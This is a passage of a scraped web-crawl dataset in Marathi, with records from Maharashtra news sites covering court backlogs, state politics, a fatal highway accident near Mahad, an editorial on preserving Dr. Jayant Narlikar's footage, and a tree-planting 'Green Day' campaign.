त्याशिवाय अल्पवयीन मुलांसाठी शहर न्यायालय, ज्युवेनाईल सबर्बन 21 वे न्यायालय, अंधेरीतील रेल्वे मोबाइल न्यायालयही मुंबईत कार्यरत आहे. सध्या या न्यायालयांतून चार लाख नऊ हजार सहाशे त्र्याण्णव खटले न्यायाच्या प्रतीक्षेत असले तरी 31 मार्च, 2018 अखेर या खटल्यांची सुनावणी करण्यासाठी अवघे 64 न्यायाधीश होते. तर 11 न्यायालयांमध्ये एकही न्यायाधीश नव्हते न्यायालयांमध्ये प्रलंबित असलेल्या एकूण खटल्यांमध्ये 5 ते 10 वर्षे या कालावधीतील 64073 खटले प्रलंबित आहेत. तर 10 वर्षांपेक्षा अधिक काळ प्रलंबित असलेल्या खटल्यांची संख्या आहे 37393. तर, शहर ज्युवेनाइल न्यायालयात 381, ज्युवेनाइल सबर्बन 21 वे न्यायालयात 233, अंधेरी रेल्वे मोबाइल न्यायालयात 6894, उर्वरित सर्व खटले हे 1 ते 73 क्रमांकांच्या विविध न्यायालयात प्रलंबित आहेत.\nगत 5 वर्षांत निकालात काढलेल्या खटल्यांची संख्याही मोठी आहे. त्यामध्ये 2013 मध्ये 219842, 2014 मध्ये 242543, 2015 मध्ये 453759, तर 1 जानेवारी, 2018 ते 31मार्च, 2018 या कालावधीत निकाली काढलेल्या 210390 खटल्यांचा समावेश आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00208.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Due-to-the-11-Chief-Ministers-of-the-Congress-the-fall-of-Maratha-says-Sadabhau-Khot/", "date_download": "2018-09-25T17:10:17Z", "digest": "sha1:6UFCOW3PKKHR3UNRETAWPJH6RDZ6ENHM", "length": 6017, "nlines": 37, "source_domain": "www.pudhari.news", "title": " काँग्रेसच्या ११ मुख्यमंत्र्यांमुळे मराठ्यांची अधोगती : सदाभाऊ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › काँग्रेसच्या ११ मुख्यमंत्र्यांमुळे मराठ्यांची अधोगती : सदाभाऊ\nकाँग्रेसच्या ११ मुख्यमंत्र्यांमुळे मराठ्यांची अधोगती : सदाभाऊ\nमुंबई : विशेष प्रतिनिधी\nयुती सरकारचा अपवाद वगळता राज्यात सत्तेत असलेले काँग्रेसचे अकरा मुख्यमंत्री मराठा समाजाच्या अधोगतीला कारणीभूत असल्याचा आरोप कृषी राज्यमंत्री सदाभाऊ खोत यांनी शुक्रवारी केला आहे. या मुख्यमंत्र्यांच्या बेजबाबदारपणामुळेच राज्यातील मराठा समाजाला मोर्चे काढण्याची वेळ आली, अशी खंतही त्यांनी व्यक्‍त केली.\nते म्हणाले, काँग्रेसची सत्ता असताना मराठा समाजातील काही मूठभर लोक मातब्बर झाले. मात्र, एक मोठा वर्ग विकासापासून अद्यापही वंचित आहे. मराठा समाज हा शेतकरी समाज आहे. या समाजाच्या हितासाठी तत्कालीन मुख्यमंत्र्यांनी काहीही ठोस निर्णय न घेतल्याची भावना मराठा तरुणांच्या मनात धगधगत असल्यामुळे ते आज रस्त्यावर उतरून आक्रमक झाले आहेत.\nमुख्यमंत्री देवेंद्र फडणवीस यांनी मात्र मराठा समाजाला आरक्षण देण्यासाठी सकारात्मक पावले उचलली आहेत. या काळात मराठा समाजाला शैक्षणिकदृष्ट्या आणि रोजगाराच्याबाबतीत स्वयंपूर्ण करण्यासाठी भाजप सरकारने योजना आणल्या. मराठा समाजातील विद्यार्थ्यांसाठी राजर्षी शाहू महाराज शैक्षणिक शिष्यवृत्ती व अण्णासाहेब पाटील आर्थिक विकास महामंडळाच्या माध्यमातून उद्योगधंदे करू इच्छिणार्‍या तरुणांना वित्तीय सहाय्य करण्याची योजना हा त्याचाच एक भाग आहे.\nतत्कालीन काँग्रेसचे मंत्री आणि मुख्यमंत्र्यांनी सत्तेचा वापर केवळ स्वतःसाठी केला. साखर कारखाने आणि सहकारी संस्था निर्माण करून संस्थानिक झालेल्या या नेत्यांना मराठा समाजाच्या विकासाचे सोयरसुतक नाही, असा आरोपही खोत यांनी केला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00208.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Vidarbha/The-public-announcement-of-the-opposition/", "date_download": "2018-09-25T17:10:46Z", "digest": "sha1:UXMQC75J6337YY6XBXCX3OSUCSYEOQLU", "length": 7862, "nlines": 54, "source_domain": "www.pudhari.news", "title": " विरोधकांची पायर्‍यांवरच घोषणाबाजी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Vidarbha › विरोधकांची पायर्‍यांवरच घोषणाबाजी\nनागपूर : उदय तानपाठक\nविधिमंडळाच्या हिवाळी अधिवेशनाचा पहिलाच दिवस वादळी ठरला. विरोधकांनी विधानभवनाच्या पायर्‍यांवरच आंदोलन आणि घोषणाबाजी केल्याने उद्यापासून पुन्हा एकदा सरकार आणि विरोधी पक्षांत सामना रंगणार, अशी चिन्हे आहेत.\nछत्रपती शिवाजी महाराज शेतकरी सन्मान कर्जमाफी योजनेतील घोळ, कापसावरच्या बोंडआळीमुळे शेतकर्‍यांची झालेली हजारो कोटींची हानी, विषारी कीटकनाशकांमुळे यवतमाळ जिल्ह्यातील शेतकर्‍यांचा झालेला मृत्यू व राज्यभरात शेतकर्‍यांच्या आत्महत्येचे सत्र, ढासळलेली कायदा आणि सुव्यवस्थेवरून विरोधी पक्ष काँग्रेस आणि राष्ट्रवादीच्या आमदारांनी अधिवेशन सुरू होण्याआधीच कर्जमाफीसह अनेक मुद्द्यांवरून विधानभवनाच्या पायर्‍यांवर बसून घोषणा दिल्या.\nआघाडी सरकारच्या पंधरा वर्षांत काय झाले हे विचारत बसण्यापेक्षा तुम्ही गेल्या तीन वर्षांत काय केले, याचा हिशेब द्या, अशी मागणी राष्ट्रवादीचेे नेते अजित पवार यांनी केली. एकीकडे विरोधकांनी शेतकर्‍यांच्या प्रश्‍नांवर हल्लाबोल केला असतानाच स्वतंत्र विदर्भवाद्यांनीही सरकारला कोंडीत पकडण्याचा प्रयत्न केला. आज पहिल्याच दिवशी स्वतंत्र विदर्भाच्या मागणीसाठी येथील व्हरायटी चौकात निदर्शने झाली, तर राष्ट्रवादी काँग्रेसचा हल्लाबोल मोर्चाही नागपूर शहरात आला. आज विदर्भ बंदचा मात्र फज्जा उडाला.\nविधानसभेचे माजी सदस्य गोविंदराव सरनायक, राजीव राजळे, संपतराव पाटील, मुसा अली मोडक, रामभाऊ तुपे, डॉ. शंकरराव बोबडे, डॉ. कुसुमताई कोरपे या दिवंगत सदस्यांना आदरांजली अर्पण करण्यात आली.\nयात्रेवेळी खा. सुप्रिया सुळे यांना अटक\nजनआक्रोश हल्लाबोल पदयात्रेद्वारे नागपूरच्या हद्दीत प्रवेश करीत असताना राष्ट्रवादी काँग्रेसच्या नेत्या व खासदार सुप्रिया सुळे व माजी मंत्री अनिल देशमुख यांना पोलिसांनी अटक करून नंतर सुटका केली.\nवाहतुकीला कोणताही त्रास होत नाही, हे सांगत असताना पोलिसांनी अडवणुकीची भूमिका घेऊन सुप्रिया सुळे व अनिल देशमुख यांना पोलिस व्हॅनमध्ये बसविले. ‘हल्लाबोल हल्लाबोल’ अशा घोषणा देत कार्यकर्त्यांनी या अटकेचा निषेध केला.\nसरकार आणि विरोधकांनी विधानसभेचा केला आखाडा(व्हिडिओ)\nनागपूर : खासदार सुप्रिया सुळे यांना अटक\n..तर लाखो लोकांसह धर्मांतर करणार : मायावती\nशरद पवार यांचे ३७ वर्षांनी नागपुरात आंदोलन\nआजपासून सुरु होणाऱ्या हिवाळी अधिवेशनाचा ‘मूड’ आक्रमक\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00208.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/443047", "date_download": "2018-09-25T17:39:36Z", "digest": "sha1:ZIPMSUZV6A5U4QLPNACSO5IO62GW2TLE", "length": 9819, "nlines": 47, "source_domain": "www.tarunbharat.com", "title": "विचित्र तिहेरी अपघातात चिपळूणचे दोघे ठार - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी » विचित्र तिहेरी अपघातात चिपळूणचे दोघे ठार\nविचित्र तिहेरी अपघातात चिपळूणचे दोघे ठार\nमुंबई-गोवा महामार्गावरील महाडनजीक चांभार खिंड येथे शुक्रवारी मध्यरात्री 2 वाजण्याच्या सुमारास खासगी आरामबस व पिकअप जीप व टाटा टेम्पो यांच्यातील विचित्र तिहेरी अपघातात टेंपोमधील चिपळूणचे दोघे तरुण जागीच ठार झाले. या अपघातामुळे महामार्गावर वाहतुकीचा खोळंबा होवून प्रवाशांचे चांगलेच हाल झाले.\nटेम्पो चालक श्रीकृष्ण वसंत डेरे (वय 43) व त्याचा सहकारी अभिषेक दत्तकुमार कुडाळकर (वय 43, दोघे रा. पेठमाप, चिपळूण) अशी मृतांची नावे आहेत. मध्यरात्रीच्या सुमारास झालेल्या विचित्र अपघाताने साखर झोपेतील साऱयांचीच तारांबळ उडाली. अपघाताची खबर मिळताच पोलीस यंत्रणेने तातडीने घटनास्थळी धाव घेतली. रस्त्याच्या मध्यभागीच अडकून पडलेली अपघातग्रस्त वाहने बाजूला करताना यंत्रणेची दमछाकच झाली.\nचिपळूणहून ठाण्याकडे घरसामान घेऊन जाणारा टाटा टेम्पो (एमएच08/डब्ल्यु -1486) या वाहानाला मागील बाजूने येणाऱया पिकअप जीप (एमएच 47-इ-1875) ने मागील बाजूने धडक दिली. त्यामुळे टेम्पोचा पुढील भाग विरुध्द दिशेला गेला त्याच वेळेला गोव्याकडे जाणारी लक्झरी बसने (एमएच 04-जीपी-2991) पिकअप जीपला जोराने धडक दिली. या भीषण अपघातात टेम्पो चालक श्रीकृष्ण डेरे व त्याचा सहकारी अभिषेक कुडाळकर यांचा जागीच मृत्यू झाला. अपघाताची खबर आरामबस चालक संजय देवानंद जोशी यांनी महाड शहर पोलीस स्थानकात दिली.\nया अपघातप्रकरणी पिकअप चालक रामगणेश शिवलाल यादव यास महाड पोलिसांनी ताब्यात घेवून त्याच्यावर भादंवि कलम 304 अ, 279, 337, 338, मोटर वाहन कायदा 184 नुसार गुन्हा दाखल करण्यात आला. ऐन सुट्टीचा दिवस अन् थर्टी फर्स्टच्या दिवशी घडलेल्या अपघातामुळे दोन्ही बाजूला वाहनांच्या लांबच लांब रांगा लागल्या. वाहतूक पोलिसांनी अपघातग्रस्त वाहने बाजुला हटवल्यानंतर विस्कळीत वाहतूक पूर्ववत होताच प्रवाशांनी सुटकेचा निःश्वास टाकला.\nअपघाताचे वृत्त समजताच पोलीस निरीक्षक दीपक मोरे यांच्या मार्गदर्शना खाली एएसआय पवार, पोलीस हवालदार अष्टमकर, के.एम.भोईर, शिर्के, मातेरे, म्हात्रे, नाईक, पाटील पुढील तपास करत आहेत.\nया अपघात ठार झालेले श्रीकृष्ण डेरे व अभिषेक कुडाळकर हे दोघे पेठमाप येथील रहिवासी असून त्यांच्या मृत्यूमुळे परिसरावर शोककळा पसरली आहे.\nअभिषेक कुडाळकर हे येथील एचडीएफसी बँकेत नोकरी करत होते. त्यांचा छोटा भाऊ डोंबिवली येथे रहात असून त्याचा काही दिवसांपूर्वी विवाह झाल्यामुळे पेठमापहून काही घरगुती साहित्य किसन डेरे यांच्या गाडीतून नेण्यात येत होते. महाड येथे त्यांच्या गाडीला झालेल्या अपघातात या दोघांचाही दुर्दैवी मृत्यू झाला. अभिषेक यांच्या पश्चात पत्नी, आई, मुलगा असा परिवार आहे. चालक किसन डेरे हे उत्कृष्ट नाटय़ कलाकार होते. त्यांनी अनेक संगीत नाटकांमधूनही काम केले आहे. याशिवाय तबला, हार्मोनियम वादन व संगीत भजनाचीही त्यांना आवड होती. त्यांच्या पश्चात पत्नी, मुलगा, मुलगी, भाऊ असा परिवार आहे.\nया दोघांवर शनिवारी सायंकाळी पेठमाप येथील स्मशानभूमीत अंत्यसंस्कार करण्यात आले. यावेळी अंत्ययात्रेत सामाजिक, राजकीय क्षेत्रातील मान्यवर तसेच व्यापारीवर्ग मोठय़ासंख्येने सहभागी झाला होता.\nवादग्रस्त अभ्यास दौऱयाची सीईओंकडून गंभीर दखल\nमुंबई विद्यापीठ उपकेंद्रात लवकरच पेपर तपासणी केंद्र\nरिफायनरी विरोधी नेतृत्वासाठी शिवसेना सज्ज\nआंबा बागेत आढळला तरूणाचा संशयास्पद मृतदेह\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00208.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/EDT-LCL-editorial-about-dr-5921233-NOR.html", "date_download": "2018-09-25T17:38:40Z", "digest": "sha1:3ML23LQQSQAWX6J6MHNF2BTNYZNZTB3W", "length": 14534, "nlines": 148, "source_domain": "divyamarathi.bhaskar.com", "title": "Editorial about dr. jayant naralikar | जतनधर्म वाढवावा! (अग्रलेख)", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nहे दृकश्राव्य क्षणांचे 'फुटेज' सध्याच्या आणि भविष्यातील पिढ्यांसाठी मोलाचा ठेवा ठरतील यात शंका नाही.\nआंतरराष्ट्रीय कीर्तीचे खगोलशास्त्रज्ञ, लेखक, विज्ञान प्रसारक डॉ. जयंत नारळीकर यांनी त्यांच्या वैयक्तिक जीवनातील दृकश्राव्य क्षण नुकतेच राष्ट्रीय चित्रपट संग्रहालयाकडे जतनासाठी सुपूर्द केले ही बाब कुठल्याही संवेदनशील व्यक्तीला सुखावणारी आहे. डाॅ. नारळीकर यांच्यासारख्या ख्यातनाम संशोधकाच्या आयुष्यातील हे दृकश्राव्य क्षणांचे 'फुटेज' सध्याच्या आणि भविष्यातील पिढ्यांसाठी मोलाचा ठेवा ठरतील यात शंका नाही. यानिमित्ताने 'जतन-संवर्धन-दस्तऐवजीकरण' या कळीच्या मुद्द्याचे पुनर्जागरण झाले हे सर्वात महत्त्वाचे आहे. आपल्याकडे 'इदं न मम' अशा मानसिकतेतून खूप काही करायचे, पण नामानिराळे राहायचे असेच संस्कार पूर्वापार चालत आले आहेत. परिणामी जीवनाच्या प्रत्येक क्षेत्रात आभाळाएवढे कर्तृत्व गाजवूनही कुणाचीही कुठल्याही स्वरूपाची अधिकृत माहिती मिळू शकत नाही ही वस्तुस्थिती आहे.\nआपल्याकडे महाकवी कालिदासाचे समग्र साहित्य पिढ्यान््पिढ्या लोकप्रिय आहे, पण कालिदास कोण, त्याचा काळ कोणता, त्याचे गुरू कोण, त्याचे समकालीन कोण, त्याचे अध्ययन, प्रतिभा, साहित्यनिर्मितीची पार्श्वभूमी.. या सगळ्यांविषयी कुठलीही माहिती नाही. संतकाव्यात किमान नामा म्हणे, तुका म्हणे... इतपत उल्लेख आढळतात. पण बहुसंख्य क्षेत्रात 'कृती सर्वांसमोर, पण कर्ता अज्ञात' असेच चित्र आढळते. अगदी पन्नास-साठ वर्षांपूर्वीही याच उदासीनतेचा प्रत्यय येतो. या पार्श्वभूमीवर डॉ. नारळीकरांनी स्वत:हून आपल्या आयुष्यातील वैयक्तिक अनुभवांचे, गुरूंचे, मातापित्यांचे, घराचे, कुटुंबीयांचे जे दृकश्राव्य फुटेज 'एनएफएआय'कडे सोपवले ते अतिशय स्वागतार्ह पाऊल म्हणावे लागेल. आज सहस्रचंद्रदर्शनी वयातले दीर्घानुभवी नारळीकर सर त्यांच्या तरुण वयात कसे दिसत होते, त्यांचे गुरू फ्रेड हॉयेल कसे होते, साठ वर्षांपूर्वी नारळीकरांच्या आई इसराजसारखे दुर्मिळ वाद्य किती सफाईने वाजवत होत्या, त्यांच्या घरात हत्ती कसे येत होते, कौटुंबिक नाती कशी जोपासली जात होती... मध्यमवर्गीय कुटुंबाचे अत्यंत हृद्य असे चित्र या फुटेजमधून उभे राहते. अशा जागतिक कीर्तीच्या व्यक्तीचे घरगुती क्षण जतन करणे हे राष्ट्रीय कर्तव्य मानून 'एनएफएमआय'सारख्या संस्थांनी हे फुटेज जतन केले पाहिजे.\nसद्य:स्थितीत राष्ट्रीय चित्रपट संग्रहालयात प्रामुख्याने चित्रपटांचे जतन केले जाते. पण आपल्या देशाचे भूषण असणाऱ्या कलावंत, शास्त्रज्ञ, वैज्ञानिक, साहित्यिक, तंत्रज्ञ... अशा जीवनाच्या विविध क्षेत्रांतील व्यक्तींचे दृकश्राव्य स्वरूपातील जतन हा देशाच्या दृष्टीनेही मोलाचा ठेवा आहे. जतनाच्या मुद्द्याला जोडून येणाऱ्या तांत्रिक मुद्द्यांचा विचारही करणे अगत्याचे आहे. नारळीकर सरांनी दिलेले फुटेज आठ एमएम आणि सुपर एट एमएम या स्वरूपाचे आहे. आता त्या फुटेजसाठी लागणारे प्रोजेक्टर्सही दुर्मिळ आहेत. पन्नास वर्षांपूर्वीच्या फुटेजचे महत्त्व इतके वाटत असेल तर आगामी पन्नास वर्षांत हे फुटेज किती मौल्यवान ठरेल याचा अंदाज करणे अवघड नाही. देशाचे विज्ञान क्षेत्रातील आजवरचे एकमेव नोबेल प्राप्त करणारे सर सी. व्ही. रामन यांची तुरळक छायाचित्रे वगळता त्यांच्याविषयी कुठलीही माहिती मिळत नाही. त्यांचे लेखन आणि ही छायाचित्रे इतकाच ठेवा आपल्याजवळ आहे.\nतीच बाब डॉ. जगदीशचंद्र बोस, मेघनाद साहा, शांतीस्वरूप भटनागर, होमी भाभा अशांच्या बाबतही आहे. मग त्याहीपूर्वीच्या भास्कराचार्य, आर्यभट्ट, वराहमिहिर यांच्याविषयी न बोलणेच बरे. सरल्या पिढीच्या खांद्यावरच नेहमी उगवती पिढी उभी राहत असते आणि भविष्याचा वेध घेत असते. ज्या खांद्यांचा भक्कम आधार आपण घेतो ते खांदे कसे घडले, ते कुणाच्या खांद्यावर उभे होते हे जाणून घेणे आणि त्याविषयी कृतज्ञ असणे हे राष्ट्रकर्तव्यच आहे. विदेशांत अनेक ठिकाणी त्या-त्या देशांनी आपले असे कर्तृत्ववान कलावंत, साहित्यिक, संशोधक विविध स्वरूपात जतन केलेले दिसतात. ज्या गावात ती व्यक्ती जन्मली, शाळेत गेली, तिचे कर्तृत्व घडले, ती प्रत्येक जागा, ती वस्तू.. यांचे अत्याधुनिक साधनसामग्रीचा वापर करून केलेले जतन विदेशांत कित्येक ठिकाणी दिसते. त्या तुलनेत आपल्याकडील चित्र फारसे आशादायक नाही.\nजतनामध्येही आपण प्राधान्यक्रम लावताना दिसतो. राजकीय नेते, पुढारी, कलावंत - लेखक अशी उतरती भाजणी दिसते. त्यात शास्त्रज्ञ-वैज्ञानिक-संशोधकांचे स्थान नेमके कुठे आहे, हा प्रश्न आजतरी अनुत्तरित आहे. मिसाइलमॅन म्हणून ख्यातनाम असणाऱ्या डॉ. कलाम यांचेही वैज्ञानिक म्हणून (राष्ट्रपतिपद स्वीकारण्याआधीचे) फुटेज आहे का, असा प्रश्न विचारावा लागेल. जतनाविषयीची जाणीवजागृती जशी विदेशातल्या समाजात रुजलेली आढळते ती दृष्टी, ती जागृती आपल्याकडे मात्र अत्यल्प दिसते. त्यामुळेच नारळीकर सरांनी स्वत: पुढाकार घेत या जतनाच्या दिशेने उचललेले पाऊल महत्त्वपूर्ण आहे.\nपुन्हा भडकले व्यापारयुद्ध (अग्रलेख)\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00208.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.mithileshbhoir.in/2017/12/", "date_download": "2018-09-25T18:00:58Z", "digest": "sha1:3SLM2F76ZNFICN5DSW6KGIRGZFSVWBTM", "length": 3747, "nlines": 123, "source_domain": "www.mithileshbhoir.in", "title": "Mithilesh Bhoir Blog©: December 2017", "raw_content": "\nकनेक्ट द डॉट्स आयुष्याचा एक आराखडा असतो हे सत्य आहे. एक विस्तृत आराखडा. आयुष्यातील प्रत्येक अनुभव, मग तो चांगला असो वा वाईट असो, तुम्हा...\nदिवाळी : तेव्हाची आणि आजची\nपावसाळा संपल्यावर गणेश चतुर्थी, अनंत चतुर्दशी, पितृ पंधरवडा, नवरात्रोत्सव, दसरा व कोजागिरी आदी सण संपलेले असत. सहामाही परीक्षा पण संपल...\nआज लोकसत्ता मध्ये एक मस्त कविता वाचली. त्यातले दोन सुप्रसिद्ध चरण... सृष्टीचे चमत्कार ( श्लोक : उपजाति ) वैशाखमासी प्रतिवर्षि येती , ...\n२६ जुलैच्या कटू आठवणी : मुंबई\nविज्ञान आणि तंत्रज्ञानाच्या जोरावर मानवाने अनेक प्रगती आणि विकासाची नवी शिखरे पादाक्रांत केली असली तरी निसर्ग आपल्या अस्त...\nतरुण भारत बेळगांव वृत्तपत्रात आलेली मुलाखत...चेहऱ्याआडचे चेहरे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00209.warc.wet.gz", "language": "mr", "language_score": 0.51, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/sakal-green-day-128400", "date_download": "2018-09-25T17:36:09Z", "digest": "sha1:NIK5TM5L3XELBB2B6TBY7QUECTG2IBHV", "length": 14451, "nlines": 182, "source_domain": "www.esakal.com", "title": "sakal green day आज हिरवाईचा सोहळा | eSakal", "raw_content": "\nगुरुवार, 5 जुलै 2018\nनागपूर - ‘वृक्षवल्ली आम्हा सोयरे वनचरे’ असे संत तुकाराम महाराजांनी म्हटले आहे. त्याला अनुसरून वृक्षलागवड आणि वृक्षसंवर्धनासाठी ‘सकाळ माध्यम समूहा’मार्फत गुरुवारी (ता. ५) विदर्भात ‘ग्रीन डे’ उपक्रम साजरा केला जाणार आहे. ‘ग्रीन डे’साठी विदर्भातील शेकडो शाळांमध्ये जय्यत तयारी झाली असून अनेक मान्यवरांच्या उपस्थितीत विविध कार्यक्रम आयोजित करण्यात आले आहेत.\nनागपूर - ‘वृक्षवल्ली आम्हा सोयरे वनचरे’ असे संत तुकाराम महाराजांनी म्हटले आहे. त्याला अनुसरून वृक्षलागवड आणि वृक्षसंवर्धनासाठी ‘सकाळ माध्यम समूहा’मार्फत गुरुवारी (ता. ५) विदर्भात ‘ग्रीन डे’ उपक्रम साजरा केला जाणार आहे. ‘ग्रीन डे’साठी विदर्भातील शेकडो शाळांमध्ये जय्यत तयारी झाली असून अनेक मान्यवरांच्या उपस्थितीत विविध कार्यक्रम आयोजित करण्यात आले आहेत.\nविद्यार्थ्यांसह शिक्षक, पालक आणि नागरिकांनाही या उपक्रमाबाबत मोठी उत्सुकता आहे. शाळांमध्ये वृक्षसंवर्धनाचे महत्त्व सांगण्यासाठी वृक्षदिंडी, रॅली, पालखी यासह विविध कार्यक्रमांचे आयोजन करण्यात आले आहे. वृक्षदिंडीत विद्यार्थी आकर्षक पोषाखांसह सगळ्यांचे लक्ष वेधून घेतील.. यावेळी त्यांच्या हातात वृक्षलागवड आणि वृक्षसंवर्धनसंदर्भात विविध फलक राहणार आहेत. आकर्षक घोषवाक्‍ये आणि पोस्टर, बॅनरमुळे या उपक्रमाला भरघोस प्रतिसाद मिळत आहे. वृक्षारोपणासह विविध कार्यक्रमांचे आयोजन यानिमित्ताने केले आहे.\nआपल्‍या जीवनात आवश्‍यक असलेल्‍या फळझाडांची मांडणी आणि रंगसंगती आजच्‍या अंकात ‘ग्रीन डे’ उपक्रमासाठी करण्यात आली आहे.\nवनमंत्र्यांच्या हस्ते उद्या समारोप\nगेल्या काही वर्षांपासून राज्यातील काही विभागांना दुष्काळाची झळ सोसावी लागत आहे. यामुळे वृक्षलागवड आणि वृक्षसंवर्धनाचे महत्त्व वाढले आहे. ही बाब लक्षात घेऊन ‘सकाळ माध्यम समूहा’मार्फत गेल्या वर्षीपासून ५ जुलैला ‘ग्रीन डे’ राबविला जात आहे. या उपक्रमास जोरदार प्रतिसाद मिळत असून राज्याच्या वनमंत्रालयानेदेखील याची दखल घेतली आहे. शुक्रवारी (ता. सहा) ‘ग्रीन डे’च्या समारोपाला महाराष्ट्राचे वनमंत्री सुधीर मुनगंटीवार उपस्थित राहणार आहेत. ‘सकाळ’च्या एमआयडीसी कार्यालयात सकाळी नऊ वाजता वनमंत्र्यांच्या हस्ते उपक्रमाचा समारोप होणार आहे.\nमी शपथ घेतो / घेते की, या सुंदर वसुंधरेवरील आमचे जीवन सुखकारक करणाऱ्या वृक्षांची लागवड आणि त्यांचे संवर्धन करण्यासाठी मी तन-मन-धनाने झटेन. सार्वत्रिक प्रदूषण आणि पर्यावरण ऱ्हासाच्या काळात या भूमीवरची हिरवाई वाढवणे आणि त्यासाठी मोठ्या प्रमाणात वृक्षारोपण करणे हा उत्तम मार्ग आहे. यावर माझा ठाम विश्‍वास आहे. वृक्षांचे संगोपन आणि संरक्षण माझ्या आणि समस्त मानवजातीच्या अस्तित्वासाठी आवश्‍यक आहे. ही भावना सर्वांमध्ये रुजविण्यासाठी मी मनापासून प्रयत्न करेन.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन 